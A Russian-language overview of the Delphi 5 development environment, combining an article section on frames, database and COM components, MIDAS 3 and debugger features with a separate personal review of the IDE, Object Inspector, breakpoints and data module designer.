При размещении фрейма на форме создается наследник класса исходного фрема (это наиболее важное отличие фреймов от шаблонов компонентов, использование которых базируется на копировании). Это означает, что при изменении свойств компонентов в исходном фрейме происходит изменение свойств его наследников. С другой стороны, свойства фремов-копий можно и переопределить.

Что касается обработчиков событий компонентов, содержащихся в фреймах-копиях, они по определению изначально содержат лишь ссылку на обработчик того же события исходного фрейма (в отличие от шаблонов, при использовании которых код целиком копируется в модуль, связанный с формой). Однако этот код можно заменить на другой или дополнить своим.

Отметим также, что при необходимости использования одного и того же фрейма в нескольких проектах можно зарегистрировать его в палитре компонентов. Для этого достаточно создать стандартную процедуру регистрации, аналогичную процедуре регистрации компонента:

Затем можно выбрать из меню пункт Component/Install Component, выбрать "пакет" для установки компонента и скомпилировать его. В результате фрейм окажется на указанной в процедуре регистрации странице палитры компонентов.

Новые компоненты для работы с базами данных

Список компонентов для работы с базами (и, что более существенно, поддерживаемых технологий доступа к данным) в Delphi 5 существенно расширен по сравнению с предыдущими версиями.

В частности, в состав Delphi теперь входит набор компонентов InterBase Express. Этот набор компонентов предназначен для непосредственного доступа к серверу IB Database версии 5.5 и выше и использует непосредственно его клиентский API, не требуя, таким образом, использования BDE. Эти компоненты находятся на странице InterBase палитры компонентов. Подробности об этих компонентах можно прочесть в посвященной им статье.

Помимо компонентов для работы с IB Database, в комплект поставки Delphi 5 Enterprise входят также компоненты для работы с ADO (Active Data Objects) - COM-серверов, входящих ныне в состав многих продуктов Microsoft и использующих OLE DB для доступа к данным (ранее с этими объектами можно было работать только используя COM-интерфейсы). Эти компоненты взаимодействуют непосредственно с библиотеками, входящими в состав ADO, и не требуют наличия BDE. Однако они разработаны таким образом, чтобы их можно было легко использовать программистам, привыкшим работать с компонентами, взаимодействующими с BDE. Вместе с VCL-компонентами в комплект поставки Delphi Enterprise и сами библиотеки MDAC 2.1 (Microsoft Data Access Components). Пользователи Delphi 4 Professional могут приобрести эти VCL-компоненты и MDAC 2.1 отдельно. Подробности об этих компонентах также можно прочесть в отдельной посвященной им статье.

В связи с поддержкой ADO на уровне компонентов в VCL введены новые классы-потомки TFields для поддержки типов данных, специфичных для ADO: TWideStringField, TGuidField, TVariantField, TInterfaceField. TIDistatchField. Помимо этого, в Delphi 5 введены классы TGraphicField и TObjectField (последний является абстрактным классом).

Что касается компонентов, поддерживающих BDE, в них также внесены некоторые изменения. В частности, у компонента TDatabase теперь есть метод Execute, позволяющий выполнить SQL-запрос без использования компонента TQuery. Параметры этого метода позволяют сохранять результаты запроса в каком-либо результирующем наборе данных, кэшировать его для повышения эффективности повторного выполнения внутри одной, использовать параметры.

Помимо этого, в Delphi 5 введен новый класс TCustomConnection, представляющий собой базовый класс для компонентов, представляющих источники данных, таких как TDatabase, TIBDatabase, TADOConnection, а также классов - предков компонентов TDCOMConnection, TSocketConnection, TCorbaConnection и TWebConnection.

Новое в поддержке COM

На странице ActiveX репозитария объектов имеется эксперт для создания активных серверных объектов - Active Server Objects. Эти объекты представляют собой объекты автоматизации, доступные на активных серверных страницах (Active Server Pages), которые можно получить с помощью Internet Information Server. При создании такого объекта может быть сгенерирован простейший скрипт для его тестирования. Подробности об этом можно найти в статье, посвященной их использованию.

Delphi 5 при импорте библиотек типов в приложения предоставляет возможность установить COM-серверы в палитру компонентов, при этом полученный компонент (наследник класса TOleServer) обладает событиями, имеющимися у данного объекта автоматизации (это касается в том числе и библиотек типов COM-серверов MIcrosoft, предназначенных для работы с наборами данных). Это позволяет создавать их обработчики с помощью инспектора объектов, тем самым существенно упрощая создание кода для реагирования на события сервера. Что касается свойств таких компонентов, они, как и свойства серверных объектов, доступны только на этапе выполнения, поэтому в инспекторе объектов они не отображаются (рис. 23).

Рисунок 23. Компоненты для доступа к серверным объектам Netscape Communicator 4.5, полученные в результате импорта библиотеки типов.

Отметим, что на страницу Servers палитры компонентов изначально установлены компоненты - наследники TOleServer для доступа ко всем серверным объектам Microsoft Office (а именно, компоненты TWordApplication, TWordDocument, TWordFont, TWordParagraphFormat, TwordLetterContent, TBinder, TExcelApplication, TExcelQueryTable, TExcelChart, TExcelWorkSheet, TExcelWorkBook, TExcelOleObject, TDoCmd, TAccessHyperLink, TAccessForm, TAccessReport, TAccessReference, TPowerPointApplication, TPowerPointSlide, TPowerPointPresentation, TOutlookApplication, TContactItem, TAppointmentItem, TJournalItem, TMailItem, TMeetingRequestItem, TNoteItem, TPostItem, TRemoteItem, TReportItem, TTaskItem, TTaskRequestItem). Это облегчает создание контроллеров автоматизации MS Office (рис. 24).

Рисунок 24. Страница Servers палитры компонентов Delphi 5

Подробности об использовании компонентов страницы Servers при создании контроллеров автоматизации MS Office также можно прочесть в отдельной статье, посвященной этой теме.

Помимо этого, есть еще несколько небольших изменений в поддержке COM, таких как поддержка применяемых в некоторых COM-серверах таблиц виртуальных методов с "пустотами" (sparse vtables); кроме того, исправлены некоторые погрешности в классе TComObjectFactory, связанные с поддержкой модели free многопоточности; ситуация, когда регистрация COM-сервера невозможна из-за отсутствия права редактировать реестр, теперь также обрабатывается корректно (ранее об этом разработчику просто не сообщалось). Изменились также некоторые установки по умолчанию в экспертах для создания COM-объектов - теперь по умолчанию в них предлагается создавать библиотеку типов и генерировать код, предназначенный для поддержки автоматизации.

MIDAS 3, InternetExpress и XML

Технология MIDAS, предназначенная для организации распределенных вычислений с COM-серверами доступа к данным, стала весьма популярной за последние два года. В Delphi 5 эта технология получила свое дальнейшее развитие.

Помимо поддерживаемых ранее средств доступа к серверам, базирующихся на DCOM, CORBA и использовании сокетов, Delphi 5 предоставляет возможность использовать протокол HTTP (для этой цели предназначен новый компонент TWebConnection). Это означает, что при соединении с сервером можно использовать брандмауэры и SSL (Secure Sockets Layer - протокол, гарантирующий безопасную передачу данных по сети, комбинирующий криптографическую систему с открытым ключом и блочное шифрование данных), а также применять организацию пула ресурсов (resource pooling).

Помимо этого, MIDAS 3 (версия MIDAS, поставляемая с Delphi 5) поддерживает удаленные модули данных, не хранящие состояния (stateless data module), то есть не хранящие данные, связанные с конкретным клиентом. Это означает, что при создании объектов Microsoft Transaction Server, являющихся MIDAS-серверами доступа к данным, код, удовлетворяющий требованиям к таким объектам, теперь генерируется автоматически (в прежней версии Delphi его нужно было создавать вручную).

Говоря о MIDAS, нельзя не упомянуть поддержку MIDAS-клиентов в виде Web-приложений. Реализована она в виде компонентов InternetExpress, содержащих компоненты TXMLBroker и TMIDASPageProducer (последний обладает очень удобным редактором свойств, позволяющим увидеть, из каких объектов состоит и как будет выглядеть окончательный пользовательский интерфейс). Подобные приложения генерируют вместо вариантных массивов XML-код, который интерпретируется несколькими библиотеками JavaScript (поставляемыми вместе с Web-приложением и включенными для этой цели в комплект поставки Delphi 5). Конечное пользовательское приложение в этом случае представляет собой Web-браузер, поддерживающий JavaScript (рис. 25).

Рисунок 25. "Ультратонкий" клиент, обращающийся к WebMIDAS-приложению.

Отметим, что компоненты InternetExpress можно также применять и при создании приложений, не использующих MIDAS.

Следует, однако, отметить, что изменения в MIDAS привели к тому, что ранее созданные MIDAS-серверы и клиенты могут потребовать небольшой модернизации. Например, вместо интерфейса IProvider используется интерфейс IAppServer, вместо dbclient.dll - midas.dll; компонент TProvider также больше не используется. Вместо него рекомендуется использовать TDataSetProvider, который теперь может иметь дело с любым набором данных, в том числе не имеющим отношения к BDE.

Подробности о MIDAS 3 содержатся в отдельной статье, посвященной этой проблеме.

Компоненты для создания Web-приложений

Страница Internet палитры компонентов теперь состоит из восьми компонентов. Компоненты от NetMasters содержатся на отдельной странице FastNet. Компонент THTML в этой версии Delphi заменен на TWebBrowser, представляющий собой оболочку элемента управления ActiveX, устанавливающегося вместе с Microsoft Internet Explorer.

Помимо этого, в Delphi 5 имеются компоненты InternetExpress для создания MIDAS-клиентов в виде Web-приложений (о них было сказано выше).

Отметим также, что у компонента TWebAction теперь имеется свойство Producer, позволяющее непосредственно указать, какую именно HTML-страницу нужно генерировать при обращении. Это во многих случаях избавляет от необходимости создавать обработчик события OnAction этого компонента.

Другие полезные мелочи

Из других нововведений и улучшений следует отметить существенное расширение списка стандартных объектов TAction, используемых в компоненте TActionList (рис. 26).

Рисунок 26. Список стандартных объектов TAction в Delphi 5

И уж совсем маленькая, но приятная деталь: наконец-то минимизация и восстановление главной формы Delphi-приложения происходит с анимацией, характерной для большинства современных Windows-приложений.

Содержание


Новые возможности отладки

В интегрированном отладчике Delphi появилось немало новых возможностей, которые имеет смысл рассмотреть более подробно.

Breakpoint actions, breakpoint groups: новые свойства точек прерывания

В прежних версиях Delphi точки прерывания были предназначены только для остановки процесса выполнения в режиме отладки. В Delphi 5 можно указать, какие именно действия (breakpoint actions) следует выполнить в момент достижения точки остановки: приостановить выполнение (как в прежних версиях Delphi), добавить текстовое сообщение в log-файл для регистрации событий отладчика (event log), записать в log-файл результат вычисления выражения, содержащего переменные отлаживаемого процесса (или вычислить выражение и никуда результат не записывать), а также сделать доступной или недоступной группу точек прерывания (о группах будет сказано ниже). Можно выполнить одновременно несколько действий в одной точке прерывания (рис. 27).

Рисунок 27. Новые свойства точек прерывания: их установка и отображение на этапе выполнения.

Свойства точки прерывания теперь отображаются во всплывающем окне при подведении курсора мыши к выбранной точке.

Отметим, что точки прерывания могут быть объединены в группы, определенные пользователем, и эти группы могут быть активированы или деактивированы с помощью действия какой-либо другой точки прерывания.

Другие полезные нововведения

С помощью пункта меню Run/Attach to Process можно начать отлаживать любой из уже запущенных процессов, в том числе не имеющий отношения к Delphi. Процесс, подлежащий отладке, можно выбрать из соответствующего диалога (рис. 28).

Рисунок 28. Список запущенных процессов.

С помощью выбора пункта меню Run/Run Until Return можно в процессе пошаговой отладки процедуры или функции заставить отладчик выполнить оставшийся код процедуры в нормальном режиме, что может сэкономить немало времени.

При отладке многопоточных приложений можно устанавливать разные опции отладчика для разных потоков.

Помимо окна просмотра CPU, в Delphi 5 имеется также окно просмотра FPU (Floating Point Unit), позволяющее получить информацию о регистрах FPU, флагах и др.

Отметим также, что среда разработки Delphi 5 поддерживает операции drag-and-drop во время отладки. Например, из редактора кода можно перенести выражение в окно Watch List, после чего это выражение останется в соответствующем списке. Можно перенести выражение в Debug Inspector. Можно также перенести выражение на панель, содержащую дамп памяти в окне CPU, и получить его адрес.

К диалоговой панели Evaluate/Modify добавлено несколько новых кнопок, позволяющих загрузить выражение в Debug Inspector, вычислить или изменить его, поместить в Watch List (рис. 29).

Рисунок 29. Диалоговая панель Evaluate/Modify

Отметим также, что список исключений, которые можно игнорировать при использовании Delphi, пополнился исключениями, связанными с использованием библиотек ADO, внутренними исключениями VisiBroker и пользовательскими исключениями.

Вместо заключения

Таким образом, Delphi 5 обладает немалым количеством весьма полезных нововведений, поддерживающих самые современные технологии и способных повысить эффективность разработки программных продуктов самого разнообразного назначения - от простейших утилит, игр, мультимедиа-приложений до самых сложных (в том числе распределенных) систем. С более подробными сведениями о наиболее значимых из них (в том числе о поддержке ADO и ASP, MIDAS 3, компонентах для непосредственного доступа к IB Database, использовании серверов автоматизации) можно ознакомиться в других статьях, посвященных этому продукту и размещенных на сайте российского представительства Inprise.

Содержание


Новые инструменты

Среда разработки Delphi 5 включает ряд расширений и дополнений, призванных обеспечить максимальное удобство разработчика.

Customized Desktops: использование различных конфигураций среды разработки

Delphi 5 позволяет сохранять сведения о том, какие окна среды разработки открыты, и где именно на экране они расположены. Таких конфигураций может быть создано и сохранено несколько, при этом имеется возможность выделить отдельную конфигурацию, которая будет автоматически загружаться в режиме отладки (так называемый debug desktop) и выгружаться при выходе из него. Для этой цели инструментальная панель содержит кнопки Save current desktop и Set debug desktop, а главное меню - соответствующий подраздел View/Desktops (рис. 1).

Рисунок 1. Инструментальная панель Delphi 5 со списком конфигураций.

Все сохраненные конфигурации среды разработки хранятся в файлах с расширением *.dst подкаталога Delphi 5\Bin.

Object Inspector: некоторые полезные нововведения

В Delphi 5, в отличие от предыдущих версий Delphi, инспектор объектов может содержать графические изображения. Например, в строке, содержащей значение такого свойства, как Color, теперь содержится не только наименование, но и изображение прямоугольника соответствующего цвета. Еще один пример: при выборе свойства Cursor из выпадающего списка можно выбрать изображение нужного курсора. Аналогичные редакторы свойств имеются у свойств Pen, Brush, ImageIndex (рис. 2).

Отметим, что теперь при создании собственных компонентов разработчик имеет возможность указать, что именно должно быть нарисовано в инспекторе объектов при отображении или выборе значения свойства. Данная возможность обеспечивается благодаря изменениям, внесенным в API, отвечающий за создание редакторов свойств. Эти изменения, в частности, позволяют, помимо собственно значения свойства, хранящегося в ресурсах формы, иметь также дополнительное графическое свойство, в которое можно поместить графическое изображение в соответствии с пожеланиями разработчика компонента.

Помимо этого, Delphi 5 позволяет установить, какие именно категории свойств должны отображаться в инспекторе объектов. Список отображаемых категорий свойств можно изменить, выбрав опцию View контекстного меню инспектора объектов. Кроме того, выбрав опцию Arrange из контекстного меню инспектора объектов, можно указать, как именно сортировать отображаемые в нем свойства - по алфавиту или по категориям (рис. 3).

Рисунок 2. Инспектор объектов с графическими изображениями

Рисунок 3. Инспектор объектов, отображающий свойства, отсортированные по категориям

Некоторые свойства могут содержаться одновременно в нескольких категориях. Например, свойства Top, Left, Width, Height формы содержатся и в категории Layout, и в категории Visual.

Отметим, что при создании собственных компонентов разработчик может регистрировать вновь созданные свойства в имеющихся категориях или создать собственные категории свойств.

DataModule Designer: новый редактор модулей данных

Новый редактор модулей данных представляет собой, безусловно, одно из наиболее приятных средств визуализации разработки приложений. Теперь модуль данных выглядит не только как объект, напоминающий форму с невизуальными компонентами, но и как полноценное представление модели данных, используемой в данном приложении - достаточно лишь переключиться на страницу Data Diagram. По внешнему виду изображение на этой странице напоминает диаграмму "сущность-связь", обычно изображаемую при проектировании данных с помощью CASE-средств (рис. 4), хотя, возможно, многие сторонники их использования предпочли бы иметь дело с одной из стандартных нотаций, применяемых в CASE-технологии.

Рисунок 4. Новый редактор модулей данных

Однако сходство редактора модулей данных с CASE-средствами этим не ограничивается. Если соединять в нем изображения компонентов - наследников TDataSet с помощью мыши, при этом автоматически будут добавляться новые компоненты (например, TDataSource), устанавливаться значения свойств, обеспечивающие эту связь, при этом при необходимости могут появляться диалоговые панели редакторов этих свойств. Тип связи (master-detail, lookup, property) можно выбрать, нажав соответствующую кнопку на вертикальной инструментальной панели слева от диаграммы. Можно также добавлять блоки комментариев и связывать их с изображениями компонентов.

Отметим также, что в левой части редактора модулей данных окажутся выделенными те компоненты, чьи значения свойств, существенных для функционирования приложения, еще не установлены. Это значит, что начинающим пользователям Delphi теперь больше не нужно разыскивать такие свойства при необходимости исправить ошибку.

И последнее. Помимо собственно компонентов TDataSet, на странице DataDiagram могут быть отображены и другие компоненты, и их свойства также можно устанавливать, связывая эти изображения с помощью мыши (рис. 5).

Рисунок 5. В редакторе модулей данных можно связывать между собой и другие компоненты.

В целом подобный редактор наверняка придется по вкусу руководителям проектов, авторам технических заданий и иным разработчикам, занимающимся документированием приложений.

Code Editor: новые возможности настройки опций редактора кода

Настройки редактора кода в Delphi 5 содержатся в отдельной диалоговой панели (рис. 6). При этом, в дополнение к стандартным наборам "горячих" клавиш, эмулирующих наиболее популярные текстовые редакторы и средства разработки, можно, используя Open Tools API, создать и зарегистрировать свой собственный набор.

Рисунок 6. Страница Key Mappings диалоговой панели Editor Properties

Опции командной строки

Среда разработки Delphi 5 поддерживает несколько новых опций командной строки, позволяющих, в частности, отображать, сколько оперативной памяти занято в данный момент, компилировать загружаемый проект при запуске среды, выводить все сообщения в log-файл.

Средства управления проектами

Нововведения в менеджере проектов

Менеджер проектов Delphi 5 теперь позволяет не только работать одновременно над несколькими проектами, но и выбирать активный проект из выпадающего списка (рис. 7).

Рисунок 7. Менеджер проектов Delphi 5

Новый браузер проектов

Браузер проектов (Project Browser) заменил Object Browser, присутствовавший в предыдущих версиях Delphi. В отличие от Object Browser, он доступен, даже если проект еще не скомпилирован. Есть возможность выбора, какие именно объекты отображать - классы данного приложения или все классы VCL. С помощью двойного щелчка мыши на имени класса можно вывести отдельное окно с детальной информацией о нем (рис. 8).

Рисунок 8. Браузер проектов

Помимо просмотра иерархии классов, возможен просмотр глобальных переменных и модулей, а также получение сведений о том, какие другие модули ссылаются на данный модуль.

To-do list: список недоделанных дел…

Delphi 5 теперь поддерживает так называемый список заданий (to-do list). Задания могут относиться как ко всему проекту в целом, так и к отдельному модулю. Их список можно получить, выбрав пункт меню View/To-do list. В этом окне можно добавлять элементы в список, отмечать их как выполненные, редактировать, менять их приоритетный порядок. Можно также добавить элемент в список с помощью соответствующей опции контекстного меню редактора кода или с помощью комбинации клавиш Ctrl-Shift-T (рис. 9, 10).

Рисунок 9. Создание нового задания

Рисунок 10. Список заданий, помещенных в To-do list.

Задания к отдельным модулям хранятся в качестве комментариев в исходном тексте модуля:

Задания для всего проекта хранятся в файле с расширением *.TODO. В списке задания для всего проекта и для отдельных форм сопровождаются разными пиктограммами.

Отметим, что каждое задание может содержать имя исполнителя, приоритет, категорию задания (их может быть сколько угодно), текст задания и отметку, выполнено ли оно.

По всем этим параметрам список заданий может быть отсортирован. Если модуль, к которому относится задание, не загружен в редактор кода, соответствующая строка в списке отображается серым цветом.

Отметим, что список заданий может быть скопирован в буфер обмена в виде текста или HTML-таблицы.

DFM как текст

В Delphi 5 можно выбрать, в каком формате следует сохранять файлы ресурсов - в виде двоичного файла, как это было в предыдущих версиях, или в виде текста. Во втором случае двоичный файл на основе текста создается в процессе компиляции. Выбрать, в каком именно виде сохранять ресурс формы, можно с помощью соответствующей опции контекстного меню либо с помощью страницы Preferences диалоговой панели Environment Options.

Управление автоматическим созданием форм в проектах

В прежних версиях Delphi при создании новой формы она, за редким исключением, попадала в список автоматически создаваемых форм (Autocreated Forms). В Delphi 5 можно выбрать, помещать ли вновь создаваемые формы в этот список либо в список Available Forms. В последнем случае в список автоматически создаваемых форм попадет только главная форма приложения.

Translation Repository: создадим коллективный словарь…

Delphi 5 предоставляет новые удобные средства создания приложений в различных языковых версиях. Для создания таких приложений используется набор средств под общим названием International Translation Environment.

Проиллюстрируем эти возможности на простейшем примере. Предположим, нам нужно создать приложение, существующее в русской и английской версии. Создадим новый проект, состоящий из одной формы с несколькими интерфейсными элементами, и сохраним его:

Далее выберем из главного меню опцию Project/Language/Add. В результате будет запущен эксперт, предлагающий последовательность форм, в которых следует выбрать поддерживаемые проектом языки (рис. 11).

Рисунок 11. Эксперт для создания многоязычных приложений

В результате будут созданы два дополнительных проекта динамически загружаемых библиотек, содержащих строковые ресурсы для двух языков, и автоматически запущен Translation Manager (рис. 12).

Рисунок 12. Проект приложения, имеющего две языковые версии

Translation Manager представляет собой, по существу, редактор строковых ресурсов, которые могут присутствовать в форме. В нем отображены сведения о тех свойствах интерфейсных элементов, которые могут быть различными в различных языковых версиях приложения. В числе этих свойств - не только свойства типа Caption или Text, но и иные визуальные характеристики, например, Height и Width. Помимо этого, в строковых ресурсах присутствуют и стандартные строки (названия дней недели и месяцев, сообщения об ошибках, названия общеупотребимых кнопок типа "Yes", "No", "Cancel", "Help", и др.).

Отредактируем в нашем примере названия интерфейсных элементов (рис. 13).

Рисунок 13. Translation Manager

Теперь мы можем выбрать опцию Project/Languages/Set Active и выбрать один из доступных языков. Скомпилировав приложение, получим нужную языковую версию (рис. 14).

Рисунок 14. Две языковых версии одного приложения

При поставке такого приложения следует не забыть скопировать в его каталог один из двух скомпилированных файлов ресурсов, имеющих в нашем случае расширения *.ENU и *.RUS и имя, совпадающее с именем исполняемого файла.

Отметим, что языковые версии строк можно сохранить в специальном хранилище (так называемомTranslation Repository - репозитарии переводов) и загружать из него. Данный репозитарий является разделяемым, что позволяет использовать его при групповой работе.

TeamSource - новое средство управления коллективной разработкой проектов

При коллективной разработке приложений весьма существенным фактором является контроль за различными версиями проектов, форм, модулей, скриптов баз данных и даже пользовательской документации. Как показывает отечественная практика, этому аспекту деятельности не всегда уделяется должное внимание. В результате этого нередко большое количество времени тратится на исправление последствий несогласованных действий различных авторов проекта (и, увы, на выяснение отношений на тему "Кто переписал мой триггер?! " или на другую подобную тему).

Средства управления коллективной разработкой проектов существовали и в предыдущих версиях Delphi (Intersolv PVCS или интерфейс к нему). В Delphi 5 вместо PVCS используется TeamSource - оригинальный инструментарий, весьма удобный в использовании (рис. 15).

Рисунок 15. Borland TeamSource

Принцип работы многих средств контроля версий основан на блокировке файлов, когда над одним файлом в данный момент времени работает только один автор. Существуют также средства контроля версий, принцип работы которых заключается в том, что каждый автор работает со своей локальной копией файла, при этом допускается одновременная работа нескольких человек над одним файлом. Когда автор заканчивает работу над своей локальной копией, все его изменения сохраняются и приводятся в соответствие с изменениями других авторов. Приведение в соответствие заключается в сравнении различий между локальной версией файла и его так называемой мастер-копией и их синхронизации (рис. 16).

Рисунок 16. Синхронизация локальной версии с мастер-копией

После приведения в соответствие изменения в локальной версии сохраняются в мастер-копии, а ее изменения - в локальной версии. Именно эта модель контроля версий используется в TeamSource. Собственно средство контроля версий (которым может быть и PVCS) используется для организации архива файлов, подлежащих коллективной разработке. Одно из простейших средств организации архива, ZLib, поставляется вместе с TeamSource.

Содержание


Королевство "Дельфи"

Вернуться к статье


Обзор Delphi 5

Официальный анонс BORLAND DELPHI 5

Наконец, свершилось - Inprise Выпускает новую версию Delphi. Мы все этого давно ждали. Дождались! Новый продукт выйдет в трех вариантах - Standard, Professional и Enterprise. Версия Enterprise - это то, что раньше называлось Client/Server. Что в какую версию входит, и что сколько будет стоить - можно будет узнать на сайте компании и ее дистрибьюторов, тогда, когда продукт появится в продаже. В данном обзоре будут лишь мои личные впечатления от новой версии.

Что не вошло в этот обзор
Средства коллективной разработки.
В версию Delphi 5 Enterprise будет входить система для поддержки коллективной разработки проектов, которая называется TeamSource. В данный обзор она не вошла по той причине, что с Evaluation версией она не поставляется.
Средства разработки проектов с поддержкой нескольких языков.
Не рассмотрены по причине неактуальности (по крайней мере для меня в данный момент) и из-за недостатка времени.
Средства разработки Internet-приложений
Причина все та же - недостаток времени. Для детального исследования этих возможностей необходим не один месяц (а его-то у меня как раз и нет). Ничего, если Родина прикажет - и за неделю разберемся! Но не сейчас.
Итак, передо мной новая версия Delphi. То, что установлено на моем компьютере - это Delphi 5 Enterprise evaluation. Работать обещает в течение 60 дней. С инсталляцией были небольшие проблемы, связанные с тем, что продукт защищен от несанкционированного использования, а также требует регистрации в Inprise. При этом на некоторых компьютерах программа упорно отказывается работать (так произошло у меня дома) и заявляет о том, что закончился период trial - использования. Были также и некоторые “глюки” в работе среды разработки, но это вполне объяснимо, так как это все-таки “field test”.
Каждого, кто первый раз “пробует на зуб” новую версию какого-нибудь программного средства, в первую очередь интересует вопрос: а что нового? Из этого нового, вначале будет рассмотрено то, что бросается в глаза, прежде всего - изменения в среде разработки, а затем – то, что скрыто от поверхностного взгляда.
В самом начале следует заметить, что новая версия скорее является развитием предыдущей, а не новой революционной версией, как это было, например, в версии Delphi 3. Все серьезные изменения в данной версии направлены, в первую очередь на облегчение разработки и поддержки крупных проектов.

СРЕДА РАЗРАБОТКИ (IDE).

Среда разработки внешне изменилась не сильно. Первое, что бросилось в глаза - немного измененный вид инспектора объектов (Object Inspector).

Внешний вид

Все свойства, которые имеют вложенные свойства (такие как Font) или свойства типа "множество" (такие как BorderIcons), теперь отмечены пиктограммой в виде черного символа + на белом фоне. Раньше там был просто символ +, но его было плохо видно. Теперь видно хорошо. Также стоит отметить то, что редакторы свойств теперь могут более наглядно отображать значения свойств. Например, в выпадающем списке для свойства Color помимо констант, обозначающих цвет, показан и сам цвет, а для курсора мыши можно увидеть его форму.
Другое изменение в инспекторе объектов, на мой взгляд, является более существенным - это категории свойств. Вещь очень удобная. Все свойства теперь разделены на категории. Каждая категория может быть раскрыта в инспекторе, свернута или спрятана. Использование категорий свойств очень помогает при работе с компонентами, имеющими большое количество свойств, облегчая поиск нужного свойства. Для тех, кому данный вариант работы Object Inspector покажется не очень удобным, сохранен и традиционный режим работы без категорий.

Предопределенных категорий свойств всего 12. Я просто их перечислю: Action, Database, Drag’n’Drop and Docking, Help and Hints, Input, Lyout, Legacy, Linkage, Locale, Localizable, Miscellaneous, Visual. Немного огорчило только одно - пока нет никаких средств для управления категориями для пользователя (создание новых категорий и назначения свойствам их категорий вручную). Однако, для разработчиков компонентов такие возможности имеются, и, как я предполагаю, такие средства обязательно появятся.

Теперь о редакторе форм. Формы могут сохраняться в текстовом формате. Для этого в локальном меню для формы нужно отметить пункт “Text DFM”. Хранение файлов форм в текстовом виде должно облегчить работу систем контроля версий (VCS), поскольку текстовый файл проще для анализа и для двух текстовых файлов проще визуально показать различия (одна из стандартных функций VCS) .

Чтобы все формы создавались в текстовом формате по умолчанию, нужно в диалоге Environment Options|Preferences включить опцию “New forms as text”. Там же находится еще одна полезная опция - “Auto create forms”. Если она отключена, то новые формы не будут автоматически добавляться в список форм, создаваемых при старте приложения.

Еще одно новшество в среде разработки - новые возможности использования схем размещения окон IDE (Desktops). Теперь можно определить несколько стандартных схем, например для отладки, дизайна и т.д. Эти схемы могут быть легко загружены в IDE при помощи панели переключения схем, а также при помощи меню (пункт View|Desktops). Одна из схем может быть выбрана как схема для отладки приложений. В этом случае эта схема будет автоматически загружена при входе в режим отладки.

Менеджер проектов.

Внешний вид

При работе с группой проектов можно для переключения между проектами использовать выпадающий список, как это делается в C++ Builder 4. Поддерживается копирование элементов из одного проекта в другой как при помощи меню, так и при помощи операций Drag’n’Drop. Также в проект могут быть добавлены файлы описания ресурсов (*.rc). Поддерживается их компиляция непосредственно из IDE.

Навигатор по коду (Code explorer).

Внешне остался без изменений и представляет переработанную и усеченную версию широко известного инструмента ClassExplorer Pro. Несмотря на это есть надежда, что в окончательной версии продукта будет использована версия, близкая по возможностям к той, которая используется в C++ Builder 4 и более близкая по функциональным возможностям к ClassExplorer Pro (с редактором классов и т.п.)

Навигатор по проекту (Project Browser).

Это то, что раньше называлось Object Browser. Полностью переработан.

Внешний вид

По интерфейсу больше похож на CodeExplorer. Вместо системы фильтров используется отображение элементов классов в виде дерева. При этом все элементов классов отображаются в соответствующих ветвях дерева, что делает фильтры не нужными. Естественно, какие ветви дерева будут видны, можно установить в настройках навигатора. К работе с этим средством нужно будет немного привыкнуть, но, в общем, оно более удобно, чем старый Object Browser.

Редактор кода.

Остался практически без изменений. Новое в нем - поддержка новой таблицы клавиш (keymap) - Visual Studio Emulation, а также поддержка модулей расширения редактора для расширения наборов горячих клавиш. Модули расширения строятся при помощи OpenTools API.

Список необходимых изменений (To - Do List ).

Новое в IDE. Инструмент, полезный при разработке крупных проектов так и при групповой разработке. Это своеобразная записная книжка, в которую могут быть занесены записи о том, что необходимо сделать в проекте и очередность задач.

Отладчик.

Внешний вид

В отладчик внесено несколько изменений, облегчающих отладку. Помимо окна CPU в режиме отладки теперь доступно также и окно FPU, в котором отображаются либо регистры сопроцессора, либо регистры MMX. Введены расширенные параметры точек останова (Breakpoints), такие как группировка, расширенные функции. Так, например, точка останова теперь может не останавливать выполнение программы, а разрешать или запрещать группу точек останова, вычислять значение и выводить его в Event Log и т.п. Параметры точек останова могут быть быстро просмотрены в редакторе (они показываются как подсказки).

Да и сами точки останова теперь могут быть аж четырех типов: Source Breakpoint, Address Breakpoint, Data Breakpoint и Module Load Breakpoint.

Source Breakpoint - это старые добрые точки останова, которые расставляются в исходном коде программы. Address Breakpoint - точка останова, для которой задается конкретный адрес в коде, и при срабатывании точки останова показывается это место в окне CPU. Data Breakpoint - это совсем другой, новый для IDE Delphi, способ активизации точки останова. Срабатывание происходит, когда где-то в программе выполняется модификация каких - либо данных. Для этого в параметрах точки останова указывается адрес, с которого начинаются данные и длина данных (в байтах), которые эта точка останова “контролирует”. Module Load Breakpoint предоставляет еще один способ указать точке останова, когда она должна сработать. В данном случае это произойдет при загрузке внешнего модуля (DLL, BPL или какого- либо другого).

По поводу новых возможностей точек останова можно сказать только одно: “Ну, наконец-то!!!”. Все эти возможности (даже больше), еще со стародавних времен Turbo Pascal, присутствуют в автономном отладчике Turbo Debugger нашей любимой фирмы, и вот, наконец, они добрались и до IDE Delphi.

В режиме отладки введена поддержка операций Drag’n’Drop. В частности, можно перетащить выражение из редактора в Watch Window (будет добавлено выражение для просмотра), можно бросить выражение в окно CPU (будет найдено это место в коде) и т.п.

Диалог Evaluate/Modify и Watch window имеет несколько дополнительных функций, которые помогают в отладке и автоматизируют некоторые операции. Например, в Evaluate/Modify можно взять выражение, переслать его в Watch window или Inspector и т.п. В этих окнах теперь можно также записывать выражения с использованием вызова функций.

В меню Run добавлен пункт Run Until Return, эта команда выполняет процедуру до тех пор, пока не встретится возвращению в точку вызова. Также стал окончательно виден пункт меню Attach to process (раньше его можно было увидеть, только установив недокументированный ключ в реестре).

Кроме того, отладчик позволяет вести отладку любого приложения, запущенного из Вашего приложения.

Дизайнер модулей данных.

Внешний вид

Дизайнер модулей данных появился впервые в Delphi 2, но то, что произошло с ним в новой версии просто впечатляет. Этот дизайнер обзавелся деревом компонентов в стиле CodeExplorer, в котором можно просматривать компоненты (для таблиц, например, видны поля, определения полей (FieldDefs), ограничения(Constraints) и т.п.) а также новым режимом отображения, называемым Data Diagram. В этом режиме можно редактировать компоненты модуля данных ВИЗУАЛЬНО! Например, можно взять TTable и TDataSource, затем нажать кнопку и “нарисовать” связь между этими компонентами. В зависимости от того, в каком направлении связь будет “нарисована”, произойдет либо установка свойства DataSet у TDataSource либо установка свойства MasterSource у TDataSet. Примерно также можно определять Master-Detail отношения между таблицами и т.п. Все это немного напоминает процесс моделирования данных в системах типа ErWin и ему подобных. Также на диаграмму могут быть добавлены блоки комментариев. В общем случае, режим Data Diagram, полезен и как средство документирования связей между компонентами модуля данных. Теперь тем, кто не очень часто пользовался модулями данных, есть смысл пересмотреть свою точку зрения.

Параметры командной строки.

